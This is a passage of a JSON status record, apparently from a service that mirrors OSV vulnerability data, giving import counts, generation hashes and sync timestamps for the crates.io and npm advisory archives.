counts","generation":"crates.io-f95f76cd406ae5bae3de632ad37fd2d5160b44f5e6b51748ac6f8f0c0c88e72b","complete":true,"records":3028,"lastAttemptAt":"2026-10-31T06:57:38.2123603+00:00","lastSuccessAt":"2026-10-30T23:47:38.4914494+00:00","error":null,"lastVerifiedAt":"2026-10-31T06:57:38.2123603+00:00","snapshotPublishedAt":"2026-10-30T23:18:12+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"osv:npm","scope":"Complete OSV npm ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"npm-3ce2e3336768d0abd5b020f6f12bd5502a5deb02700e9d89d279597dce6e72ae","complete":true,"records":230992,"lastAttemptAt":"2026-10-31T06:57:38.0990122+00:00","lastSuccessAt":"2026-10-31T03:47:08.0119269+00:00","error":null,"lastVerifiedAt":"2026-10-31T06:57:38.0990122+00:00","snapshotPublishedAt":"2026-10-31T03:03:11+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null}]}